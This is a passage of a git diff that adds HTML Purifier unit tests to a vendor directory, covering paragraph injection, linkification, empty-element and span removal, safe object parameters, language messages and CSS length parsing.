+ }
+
+ public function testPreserveLeadingWhitespace()
+ {
+ $this->assertResult(
+'
+
+Par',
+'
+
+<p>Par</p>'
+ );
+ }
+
+ public function testPreserveSurroundingWhitespace()
+ {
+ $this->assertResult(
+'
+
+Par
+
+',
+'
+
+<p>Par</p>
+
+'
+ );
+ }
+
+ public function testParagraphInsideBlockNode()
+ {
+ $this->assertResult(
+'<div>Par1
+
+Par2</div>',
+'<div><p>Par1</p>
+
+<p>Par2</p></div>'
+ );
+ }
+
+ public function testParagraphInlineNodeInsideBlockNode()
+ {
+ $this->assertResult(
+'<div><b>Par1</b>
+
+Par2</div>',
+'<div><p><b>Par1</b></p>
+
+<p>Par2</p></div>'
+ );
+ }
+
+ public function testNoParagraphWhenOnlyOneInsideBlockNode()
+ {
+ $this->assertResult('<div>Par1</div>');
+ }
+
+ public function testParagraphTwoInlineNodesInsideBlockNode()
+ {
+ $this->assertResult(
+'<div><b>Par1</b>
+
+<i>Par2</i></div>',
+'<div><p><b>Par1</b></p>
+
+<p><i>Par2</i></p></div>'
+ );
+ }
+
+ public function testPreserveInlineNodesInPreTag()
+ {
+ $this->assertResult(
+'<pre><b>Par1</b>
+
+<i>Par2</i></pre>'
+ );
+ }
+
+ public function testSplitUpInternalsOfPTagInBlockNode()
+ {
+ $this->assertResult(
+'<div><p>Foo
+
+Bar</p></div>',
+'<div><p>Foo</p>
+
+<p>Bar</p></div>'
+ );
+ }
+
+ public function testSplitUpInlineNodesInPTagInBlockNode()
+ {
+ $this->assertResult(
+'<div><p><b>Foo</b>
+
+<i>Bar</i></p></div>',
+'<div><p><b>Foo</b></p>
+
+<p><i>Bar</i></p></div>'
+ );
+ }
+
+ public function testNoParagraphSingleInlineNodeInBlockNode()
+ {
+ $this->assertResult( '<div><b>Foo</b></div>' );
+ }
+
+ public function testParagraphInBlockquote()
+ {
+ $this->assertResult(
+'<blockquote>Par1
+
+Par2</blockquote>',
+'<blockquote><p>Par1</p>
+
+<p>Par2</p></blockquote>'
+ );
+ }
+
+ public function testNoParagraphBetweenListItem()
+ {
+ $this->assertResult(
+'<ul><li>Foo</li>
+
+<li>Bar</li></ul>'
+ );
+ }
+
+ public function testParagraphSingleElementWithSurroundingSpace()
+ {
+ $this->assertResult(
+'<div>
+
+Bar
+
+</div>',
+ '<div>
+
+<p>Bar</p>
+
+</div>'
+ );
+ }
+
+ public function testIgnoreExtraSpaceWithLeadingInlineNode()
+ {
+ $this->assertResult(
+'<b>Par1</b>a
+
+
+
+Par2',
+'<p><b>Par1</b>a</p>
+
+<p>Par2</p>'
+ );
+ }
+
+ public function testAbsorbExtraEndingPTag()
+ {
+ $this->assertResult(
+'Par1
+
+Par2</p>',
+'<p>Par1</p>
+
+<p>Par2</p>'
+ );
+ }
+
+ public function testAbsorbExtraEndingDivTag()
+ {
+ $this->assertResult(
+'Par1
+
+Par2</div>',
+'<p>Par1</p>
+
+<p>Par2</p>'
+ );
+ }
+
+ public function testDoNotParagraphSingleSurroundingSpaceInBlockNode()
+ {
+ $this->assertResult(
+'<div>
+Par1
+</div>'
+ );
+ }
+
+ public function testBlockNodeTextDelimeterInBlockNode()
+ {
+ $this->assertResult(
+'<div>Par1
+
+<div>Par2</div></div>',
+'<div><p>Par1</p>
+
+<div>Par2</div></div>'
+ );
+ }
+
+ public function testBlockNodeTextDelimeterWithoutDoublespaceInBlockNode()
+ {
+ $this->assertResult(
+'<div>Par1
+<div>Par2</div></div>'
+ );
+ }
+
+ public function testBlockNodeTextDelimeterWithoutDoublespace()
+ {
+ $this->assertResult(
+'Par1
+<div>Par2</div>',
+'<p>Par1
+</p>
+
+<div>Par2</div>'
+ );
+ }
+
+ public function testTwoParagraphsOfTextAndInlineNode()
+ {
+ $this->assertResult(
+'Par1
+
+<b>Par2</b>',
+'<p>Par1</p>
+
+<p><b>Par2</b></p>'
+ );
+ }
+
+ public function testLeadingInlineNodeParagraph()
+ {
+ $this->assertResult(
+'<img /> Foo',
+'<p><img /> Foo</p>'
+ );
+ }
+
+ public function testTrailingInlineNodeParagraph()
+ {
+ $this->assertResult(
+'<li>Foo <a>bar</a></li>'
+ );
+ }
+
+ public function testTwoInlineNodeParagraph()
+ {
+ $this->assertResult(
+'<li><b>baz</b><a>bar</a></li>'
+ );
+ }
+
+ public function testNoParagraphTrailingBlockNodeInBlockNode()
+ {
+ $this->assertResult(
+'<div><div>asdf</div><b>asdf</b></div>'
+ );
+ }
+
+ public function testParagraphTrailingBlockNodeWithDoublespaceInBlockNode()
+ {
+ $this->assertResult(
+'<div><div>asdf</div>
+
+<b>asdf</b></div>',
+'<div><div>asdf</div>
+
+<p><b>asdf</b></p></div>'
+ );
+ }
+
+ public function testParagraphTwoInlineNodesAndWhitespaceNode()
+ {
+ $this->assertResult(
+'<b>One</b> <i>Two</i>',
+'<p><b>One</b> <i>Two</i></p>'
+ );
+ }
+
+ public function testNoParagraphWithInlineRootNode()
+ {
+ $this->config->set('HTML.Parent', 'span');
+ $this->assertResult(
+'Par
+
+Par2'
+ );
+ }
+
+ public function testInlineAndBlockTagInDivNoParagraph()
+ {
+ $this->assertResult(
+ '<div><code>bar</code> mmm <pre>asdf</pre></div>'
+ );
+ }
+
+ public function testInlineAndBlockTagInDivNeedingParagraph()
+ {
+ $this->assertResult(
+'<div><code>bar</code> mmm
+
+<pre>asdf</pre></div>',
+'<div><p><code>bar</code> mmm</p>
+
+<pre>asdf</pre></div>'
+ );
+ }
+
+ public function testTextInlineNodeTextThenDoubleNewlineNeedsParagraph()
+ {
+ $this->assertResult(
+'<div>asdf <code>bar</code> mmm
+
+<pre>asdf</pre></div>',
+'<div><p>asdf <code>bar</code> mmm</p>
+
+<pre>asdf</pre></div>'
+ );
+ }
+
+ public function testUpcomingTokenHasNewline()
+ {
+ $this->assertResult(
+'<div>Test<b>foo</b>bar<b>bing</b>bang
+
+boo</div>',
+'<div><p>Test<b>foo</b>bar<b>bing</b>bang</p>
+
+<p>boo</p></div>'
+);
+ }
+
+ public function testEmptyTokenAtEndOfDiv()
+ {
+ $this->assertResult(
+'<div><p>foo</p>
+</div>',
+'<div><p>foo</p>
+</div>'
+);
+ }
+
+ public function testEmptyDoubleLineTokenAtEndOfDiv()
+ {
+ $this->assertResult(
+'<div><p>foo</p>
+
+</div>',
+'<div><p>foo</p>
+
+</div>'
+);
+ }
+
+ public function testTextState11Root()
+ {
+ $this->assertResult('<div></div> ');
+ }
+
+ public function testTextState11Element()
+ {
+ $this->assertResult(
+"<div><div></div>
+
+</div>");
+ }
+
+ public function testTextStateLikeElementState111NoWhitespace()
+ {
+ $this->assertResult('<div><p>P</p>Boo</div>', '<div><p>P</p>Boo</div>');
+ }
+
+ public function testElementState111NoWhitespace()
+ {
+ $this->assertResult('<div><p>P</p><b>Boo</b></div>', '<div><p>P</p><b>Boo</b></div>');
+ }
+
+ public function testElementState133()
+ {
+ $this->assertResult(
+"<div><b>B</b><pre>Ba</pre>
+
+Bar</div>",
+"<div><b>B</b><pre>Ba</pre>
+
+<p>Bar</p></div>"
+);
+ }
+
+ public function testElementState22()
+ {
+ $this->assertResult(
+ '<ul><li>foo</li></ul>'
+ );
+ }
+
+ public function testElementState311()
+ {
+ $this->assertResult(
+ '<p>Foo</p><b>Bar</b>',
+'<p>Foo</p>
+
+<p><b>Bar</b></p>'
+ );
+ }
+
+ public function testAutoClose()
+ {
+ $this->assertResult(
+ '<p></p>
+<hr />'
+ );
+ }
+
+ public function testErrorNeeded()
+ {
+ $this->config->set('HTML.Allowed', 'b');
+ $this->expectError('Cannot enable AutoParagraph injector because p is not allowed');
+ $this->assertResult('<b>foobar</b>');
+ }
+
+ public function testParentElement()
+ {
+ $this->config->set('HTML.Allowed', 'p,ul,li');
+ $this->assertResult('Foo<ul><li>Bar</li></ul>', "<p>Foo</p>\n\n<ul><li>Bar</li></ul>");
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/DisplayLinkURITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/DisplayLinkURITest.php
new file mode 100644
index 000000000..03c097e80
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/DisplayLinkURITest.php
@@ -0,0 +1,37 @@
+<?php
+
+class HTMLPurifier_Injector_DisplayLinkURITest extends HTMLPurifier_InjectorHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('AutoFormat.DisplayLinkURI', true);
+ }
+
+ public function testBasicLink()
+ {
+ $this->assertResult(
+ '<a href="http://malware.example.com">Don\'t go here!</a>',
+ '<a>Don\'t go here!</a> (http://malware.example.com)'
+ );
+ }
+
+ public function testEmptyLink()
+ {
+ $this->assertResult(
+ '<a>Don\'t go here!</a>',
+ '<a>Don\'t go here!</a>'
+ );
+ }
+ public function testEmptyText()
+ {
+ $this->assertResult(
+ '<a href="http://malware.example.com"></a>',
+ '<a></a> (http://malware.example.com)'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/LinkifyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/LinkifyTest.php
new file mode 100644
index 000000000..1954db6b9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/LinkifyTest.php
@@ -0,0 +1,57 @@
+<?php
+
+class HTMLPurifier_Injector_LinkifyTest extends HTMLPurifier_InjectorHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('AutoFormat.Linkify', true);
+ }
+
+ public function testLinkifyURLInRootNode()
+ {
+ $this->assertResult(
+ 'http://example.com',
+ '<a href="http://example.com">http://example.com</a>'
+ );
+ }
+
+ public function testLinkifyURLInInlineNode()
+ {
+ $this->assertResult(
+ '<b>http://example.com</b>',
+ '<b><a href="http://example.com">http://example.com</a></b>'
+ );
+ }
+
+ public function testBasicUsageCase()
+ {
+ $this->assertResult(
+ 'This URL http://example.com is what you need',
+ 'This URL <a href="http://example.com">http://example.com</a> is what you need'
+ );
+ }
+
+ public function testIgnoreURLInATag()
+ {
+ $this->assertResult(
+ '<a>http://example.com/</a>'
+ );
+ }
+
+ public function testNeeded()
+ {
+ $this->config->set('HTML.Allowed', 'b');
+ $this->expectError('Cannot enable Linkify injector because a is not allowed');
+ $this->assertResult('http://example.com/');
+ }
+
+ public function testExcludes()
+ {
+ $this->assertResult('<a><span>http://example.com</span></a>');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php
new file mode 100644
index 000000000..8a2271518
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php
@@ -0,0 +1,68 @@
+<?php
+
+class HTMLPurifier_Injector_PurifierLinkifyTest extends HTMLPurifier_InjectorHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('AutoFormat.PurifierLinkify', true);
+ $this->config->set('AutoFormat.PurifierLinkify.DocURL', '#%s');
+ }
+
+ public function testNoTriggerCharacer()
+ {
+ $this->assertResult('Foobar');
+ }
+
+ public function testTriggerCharacterInIrrelevantContext()
+ {
+ $this->assertResult('20% off!');
+ }
+
+ public function testPreserveNamespace()
+ {
+ $this->assertResult('%Core namespace (not recognized)');
+ }
+
+ public function testLinkifyBasic()
+ {
+ $this->assertResult(
+ '%Namespace.Directive',
+ '<a href="#Namespace.Directive">%Namespace.Directive</a>'
+ );
+ }
+
+ public function testLinkifyWithAdjacentTextNodes()
+ {
+ $this->assertResult(
+ 'This %Namespace.Directive thing',
+ 'This <a href="#Namespace.Directive">%Namespace.Directive</a> thing'
+ );
+ }
+
+ public function testLinkifyInBlock()
+ {
+ $this->assertResult(
+ '<div>This %Namespace.Directive thing</div>',
+ '<div>This <a href="#Namespace.Directive">%Namespace.Directive</a> thing</div>'
+ );
+ }
+
+ public function testPreserveInATag()
+ {
+ $this->assertResult(
+ '<a>%Namespace.Directive</a>'
+ );
+ }
+
+ public function testNeeded()
+ {
+ $this->config->set('HTML.Allowed', 'b');
+ $this->expectError('Cannot enable PurifierLinkify injector because a is not allowed');
+ $this->assertResult('%Namespace.Directive');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveEmptyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveEmptyTest.php
new file mode 100644
index 000000000..d25b218f7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveEmptyTest.php
@@ -0,0 +1,96 @@
+<?php
+
+class HTMLPurifier_Injector_RemoveEmptyTest extends HTMLPurifier_InjectorHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('AutoFormat.RemoveEmpty', true);
+ }
+
+ public function testPreserve()
+ {
+ $this->assertResult('<b>asdf</b>');
+ }
+
+ public function testRemove()
+ {
+ $this->assertResult('<b></b>', '');
+ }
+
+ public function testRemoveWithSpace()
+ {
+ $this->assertResult('<b> </b>', '');
+ }
+
+ public function testRemoveWithAttr()
+ {
+ $this->assertResult('<b class="asdf"></b>', '');
+ }
+
+ public function testRemoveIdAndName()
+ {
+ $this->assertResult('<a id="asdf" name="asdf"></a>', '');
+ }
+
+ public function testPreserveColgroup()
+ {
+ $this->assertResult('<colgroup></colgroup>');
+ }
+
+ public function testPreserveId()
+ {
+ $this->config->set('Attr.EnableID', true);
+ $this->assertResult('<a id="asdf"></a>');
+ }
+
+ public function testPreserveName()
+ {
+ $this->config->set('Attr.EnableID', true);
+ $this->assertResult('<a name="asdf"></a>');
+ }
+
+ public function testRemoveNested()
+ {
+ $this->assertResult('<b><i></i></b>', '');
+ }
+
+ public function testRemoveNested2()
+ {
+ $this->assertResult('<b><i><u></u></i></b>', '');
+ }
+
+ public function testRemoveNested3()
+ {
+ $this->assertResult('<b> <i> <u> </u> </i> </b>', '');
+ }
+
+ public function testRemoveNbsp()
+ {
+ $this->config->set('AutoFormat.RemoveEmpty.RemoveNbsp', true);
+ $this->assertResult('<b>&nbsp;</b>', '');
+ }
+
+ public function testRemoveNbspMix()
+ {
+ $this->config->set('AutoFormat.RemoveEmpty.RemoveNbsp', true);
+ $this->assertResult('<b>&nbsp; &nbsp;</b>', '');
+ }
+
+ public function testDontRemoveNbsp()
+ {
+ $this->config->set('AutoFormat.RemoveEmpty.RemoveNbsp', true);
+ $this->assertResult('<td>&nbsp;</b>', "<td>\xC2\xA0</td>");
+ }
+
+ public function testRemoveNbspExceptionsSpecial()
+ {
+ $this->config->set('AutoFormat.RemoveEmpty.RemoveNbsp', true);
+ $this->config->set('AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions', 'b');
+ $this->assertResult('<b>&nbsp;</b>', "<b>\xC2\xA0</b>");
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveSpansWithoutAttributesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveSpansWithoutAttributesTest.php
new file mode 100755
index 000000000..841b0351f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveSpansWithoutAttributesTest.php
@@ -0,0 +1,112 @@
+<?php
+
+class HTMLPurifier_Injector_RemoveSpansWithoutAttributesTest extends HTMLPurifier_InjectorHarness
+{
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('HTML.Allowed', 'span[class],div,p,strong,em');
+ $this->config->set('AutoFormat.RemoveSpansWithoutAttributes', true);
+ }
+
+ public function testSingleSpan()
+ {
+ $this->assertResult(
+ '<span>foo</span>',
+ 'foo'
+ );
+ }
+
+ public function testSingleSpanWithAttributes()
+ {
+ $this->assertResult(
+ '<span class="bar">foo</span>',
+ '<span class="bar">foo</span>'
+ );
+ }
+
+ public function testSingleNestedSpan()
+ {
+ $this->assertResult(
+ '<p><span>foo</span></p>',
+ '<p>foo</p>'
+ );
+ }
+
+ public function testSingleNestedSpanWithAttributes()
+ {
+ $this->assertResult(
+ '<p><span class="bar">foo</span></p>',
+ '<p><span class="bar">foo</span></p>'
+ );
+ }
+
+
+ public function testSpanWithChildren()
+ {
+ $this->assertResult(
+ '<span>foo <strong>bar</strong> <em>baz</em></span>',
+ 'foo <strong>bar</strong> <em>baz</em>'
+ );
+ }
+
+ public function testSpanWithSiblings()
+ {
+ $this->assertResult(
+ '<p>before <span>inside</span> <strong>after</strong></p>',
+ '<p>before inside <strong>after</strong></p>'
+ );
+ }
+
+ public function testNestedSpanWithSiblingsAndChildren()
+ {
+ $this->assertResult(
+ '<p>a <span>b <em>c</em> d</span> e</p>',
+ '<p>a b <em>c</em> d e</p>'
+ );
+ }
+
+ public function testNestedSpansWithoutAttributes()
+ {
+ $this->assertResult(
+ '<span>one<span>two<span>three</span></span></span>',
+ 'onetwothree'
+ );
+ }
+
+ public function testDeeplyNestedSpan()
+ {
+ $this->assertResult(
+ '<div><div><div><span class="a">a <span>b</span> c</span></div></div></div>',
+ '<div><div><div><span class="a">a b c</span></div></div></div>'
+ );
+ }
+
+ public function testSpanWithInvalidAttributes()
+ {
+ $this->assertResult(
+ '<p><span snorkel buzzer="emu">foo</span></p>',
+ '<p>foo</p>'
+ );
+ }
+
+ public function testNestedAlternateSpans()
+ {
+ $this->assertResult(
+'<span>a <span class="x">b <span>c <span class="y">d <span>e <span class="z">f
+</span></span></span></span></span></span>',
+'a <span class="x">b c <span class="y">d e <span class="z">f
+</span></span></span>'
+ );
+ }
+
+ public function testSpanWithSomeInvalidAttributes()
+ {
+ $this->assertResult(
+ '<p><span buzzer="emu" class="bar">foo</span></p>',
+ '<p><span class="bar">foo</span></p>'
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/SafeObjectTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/SafeObjectTest.php
new file mode 100644
index 000000000..f5283063a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/SafeObjectTest.php
@@ -0,0 +1,99 @@
+<?php
+
+/**
+ * This test is kinda weird, because it doesn't test the full safe object
+ * functionality, just a small section of it. Or maybe it's actually the right
+ * way.
+ */
+class HTMLPurifier_Injector_SafeObjectTest extends HTMLPurifier_InjectorHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ // there is no AutoFormat.SafeObject directive
+ $this->config->set('AutoFormat.Custom', array(new HTMLPurifier_Injector_SafeObject()));
+ $this->config->set('HTML.Trusted', true);
+ }
+
+ public function testPreserve()
+ {
+ $this->assertResult(
+ '<b>asdf</b>'
+ );
+ }
+
+ public function testRemoveStrayParam()
+ {
+ $this->assertResult(
+ '<param />',
+ ''
+ );
+ }
+
+ public function testEditObjectParam()
+ {
+ $this->assertResult(
+ '<object></object>',
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object>'
+ );
+ }
+
+ public function testIgnoreStrayParam()
+ {
+ $this->assertResult(
+ '<object><param /></object>',
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object>'
+ );
+ }
+
+ public function testIgnoreDuplicates()
+ {
+ $this->assertResult(
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object>'
+ );
+ }
+
+ public function testIgnoreBogusData()
+ {
+ $this->assertResult(
+ '<object><param name="allowScriptAccess" value="always" /><param name="allowNetworking" value="always" /></object>',
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object>'
+ );
+ }
+
+ public function testIgnoreInvalidData()
+ {
+ $this->assertResult(
+ '<object><param name="foo" value="bar" /></object>',
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object>'
+ );
+ }
+
+ public function testKeepValidData()
+ {
+ $this->assertResult(
+ '<object><param name="movie" value="bar" /></object>',
+ '<object data="bar"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="movie" value="bar" /></object>'
+ );
+ }
+
+ public function testNested()
+ {
+ $this->assertResult(
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><object></object></object>',
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object></object>'
+ );
+ }
+
+ public function testNotActuallyNested()
+ {
+ $this->assertResult(
+ '<object><p><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></p></object>',
+ '<object><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><p></p></object>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/InjectorHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/InjectorHarness.php
new file mode 100644
index 000000000..5dd6e50fe
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/InjectorHarness.php
@@ -0,0 +1,14 @@
+<?php
+
+class HTMLPurifier_InjectorHarness extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_MakeWellFormed();
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageFactoryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageFactoryTest.php
new file mode 100644
index 000000000..e1a73ac79
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageFactoryTest.php
@@ -0,0 +1,73 @@
+<?php
+
+class HTMLPurifier_LanguageFactoryTest extends HTMLPurifier_Harness
+{
+
+ /**
+ * Protected reference of global factory we're testing.
+ */
+ protected $factory;
+
+ public function setUp()
+ {
+ $this->factory = HTMLPurifier_LanguageFactory::instance();
+ parent::setUp();
+ }
+
+ public function test()
+ {
+ $this->config->set('Core.Language', 'en');
+ $language = $this->factory->create($this->config, $this->context);
+
+ $this->assertIsA($language, 'HTMLPurifier_Language');
+ $this->assertIdentical($language->code, 'en');
+
+ // lazy loading test
+ $this->assertIdentical(count($language->messages), 0);
+ $language->load();
+ $this->assertNotEqual(count($language->messages), 0);
+
+ }
+
+ public function testFallback()
+ {
+ $this->config->set('Core.Language', 'en-x-test');
+ $language = $this->factory->create($this->config, $this->context);
+
+ $this->assertIsA($language, 'HTMLPurifier_Language_en_x_test');
+ $this->assertIdentical($language->code, 'en-x-test');
+
+ $language->load();
+
+ // test overloaded message
+ $this->assertIdentical($language->getMessage('HTMLPurifier'), 'HTML Purifier X');
+
+ // test inherited message
+ $this->assertIdentical($language->getMessage('LanguageFactoryTest: Pizza'), 'Pizza');
+
+ }
+
+ public function testFallbackWithNoClass()
+ {
+ $this->config->set('Core.Language', 'en-x-testmini');
+ $language = $this->factory->create($this->config, $this->context);
+ $this->assertIsA($language, 'HTMLPurifier_Language');
+ $this->assertIdentical($language->code, 'en-x-testmini');
+ $language->load();
+ $this->assertIdentical($language->getMessage('HTMLPurifier'), 'HTML Purifier XNone');
+ $this->assertIdentical($language->getMessage('LanguageFactoryTest: Pizza'), 'Pizza');
+ $this->assertIdentical($language->error, false);
+ }
+
+ public function testNoSuchLanguage()
+ {
+ $this->config->set('Core.Language', 'en-x-testnone');
+ $language = $this->factory->create($this->config, $this->context);
+ $this->assertIsA($language, 'HTMLPurifier_Language');
+ $this->assertIdentical($language->code, 'en-x-testnone');
+ $this->assertIdentical($language->error, true);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageTest.php
new file mode 100644
index 000000000..6eb73092e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageTest.php
@@ -0,0 +1,85 @@
+<?php
+
+/**
+ * @todo Fix usage of HTMLPurifier_Language->_loaded using something else
+ */
+class HTMLPurifier_LanguageTest extends HTMLPurifier_Harness
+{
+
+ protected $lang;
+
+ protected function generateEnLanguage()
+ {
+ $factory = HTMLPurifier_LanguageFactory::instance();
+ $config = HTMLPurifier_Config::create(array('Core.Language' => 'en'));
+ $context = new HTMLPurifier_Context();
+ return $factory->create($config, $context);
+ }
+
+ public function test_getMessage()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $context = new HTMLPurifier_Context();
+ $lang = new HTMLPurifier_Language($config, $context);
+ $lang->_loaded = true;
+ $lang->messages['HTMLPurifier'] = 'HTML Purifier';
+ $this->assertIdentical($lang->getMessage('HTMLPurifier'), 'HTML Purifier');
+ $this->assertIdentical($lang->getMessage('LanguageTest: Totally non-existent key'), '[LanguageTest: Totally non-existent key]');
+ }
+
+ public function test_formatMessage()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $context = new HTMLPurifier_Context();
+ $lang = new HTMLPurifier_Language($config, $context);
+ $lang->_loaded = true;
+ $lang->messages['LanguageTest: Error'] = 'Error is $1 on line $2';
+ $this->assertIdentical($lang->formatMessage('LanguageTest: Error', array(1=>'fatal', 32)), 'Error is fatal on line 32');
+ }
+
+ public function test_formatMessage_tokenParameter()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $context = new HTMLPurifier_Context();
+ $generator = new HTMLPurifier_Generator($config, $context); // replace with mock if this gets icky
+ $context->register('Generator', $generator);
+ $lang = new HTMLPurifier_Language($config, $context);
+ $lang->_loaded = true;
+ $lang->messages['LanguageTest: Element info'] = 'Element Token: $1.Name, $1.Serialized, $1.Compact, $1.Line';
+ $lang->messages['LanguageTest: Data info'] = 'Data Token: $1.Data, $1.Serialized, $1.Compact, $1.Line';
+ $this->assertIdentical($lang->formatMessage('LanguageTest: Element info',
+ array(1=>new HTMLPurifier_Token_Start('a', array('href'=>'http://example.com'), 18))),
+ 'Element Token: a, <a href="http://example.com">, <a>, 18');
+ $this->assertIdentical($lang->formatMessage('LanguageTest: Data info',
+ array(1=>new HTMLPurifier_Token_Text('data>', 23))),
+ 'Data Token: data>, data&gt;, data&gt;, 23');
+ }
+
+ public function test_listify()
+ {
+ $lang = $this->generateEnLanguage();
+ $this->assertEqual($lang->listify(array('Item')), 'Item');
+ $this->assertEqual($lang->listify(array('Item', 'Item2')), 'Item and Item2');
+ $this->assertEqual($lang->listify(array('Item', 'Item2', 'Item3')), 'Item, Item2 and Item3');
+ }
+
+ public function test_formatMessage_arrayParameter()
+ {
+ $lang = $this->generateEnLanguage();
+
+ $array = array('Item1', 'Item2', 'Item3');
+ $this->assertIdentical(
+ $lang->formatMessage('LanguageTest: List', array(1=>$array)),
+ 'Item1, Item2 and Item3'
+ );
+
+ $array = array('Key1' => 'Value1', 'Key2' => 'Value2');
+ $this->assertIdentical(
+ $lang->formatMessage('LanguageTest: Hash', array(1=>$array)),
+ 'Key1 and Key2; Value1 and Value2'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LengthTest.php
new file mode 100644
index 000000000..b7bf25e02
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LengthTest.php
@@ -0,0 +1,80 @@
+<?php
+
+class HTMLPurifier_LengthTest extends HTMLPurifier_Harness
+{
+
+ public function testConstruct()
+ {
+ $l = new HTMLPurifier_Length('23', 'in');
+ $this->assertIdentical($l->getN(), '23');
+ $this->assertIdentical($l->getUnit(), 'in');
+ }
+
+ public function testMake()
+ {
+ $l = HTMLPurifier_Length::make('+23.4in');
+ $this->assertIdentical($l->getN(), '+23.4');
+ $this->assertIdentical($l->getUnit(), 'in');
+ }
+
+ public function testToString()
+ {
+ $l = new HTMLPurifier_Length('23', 'in');
+ $this->assertIdentical($l->toString(), '23in');
+ }
+
+ protected function assertValidate($string, $expect = true)
+ {
+ if ($expect === true) $expect = $string;
+ $l = HTMLPurifier_Length::make($string);
+ $result = $l->isValid();
+ if ($result === false) $this->assertIdentical($expect, false);
+ else $this->assertIdentical($l->toString(), $expect);
+ }
+
+ public function testValidate()
+ {
+ $this->assertValidate('0');
+ $this->assertValidate('+0', '0');
+ $this->assertValidate('-0', '0');
+ $this->assertValidate('0px');
+ $this->assertValidate('4.5px');
+ $this->assertValidate('-4.5px');
+ $this->assertValidate('3ex');
+ $this->assertValidate('3em');
+ $this->assertValidate('3in');
+ $this->assertValidate('3cm');
+ $this->assertValidate('3mm');
+ $this->assertValidate('3pt');
+ $this->assertValidate('3pc');
+ $this->assertValidate('3PX', '3px');
+ $this->assertValidate('3', false);
+ $this->assertValidate('3miles', false);
+ }
+
+ /**
+ * @param $s1 First string to compare
+ * @param $s2 Second string to compare
+ * @param $expect 0 for $s1 == $s2, 1 for $s1 > $s2 and -1 for $s1 < $s2
+ */
+ protected function assertComparison($s1, $s2, $expect = 0)
+ {
+ $l1 = HTMLPurifier_Length::make($s1);
+ $l2 = HTMLPurifier_Length::make($s2);
+ $r1 = $l1->compareTo($l2);
+ $r2 = $l2->compareTo($l1);
+ $this->assertIdentical($r1 == 0 ? 0 : ($r1 > 0 ? 1 : -1), $expect);
+ $this->assertIdentical($r2 == 0 ? 0 : ($r2 > 0 ? 1 : -1), - $expect);
+ }
+
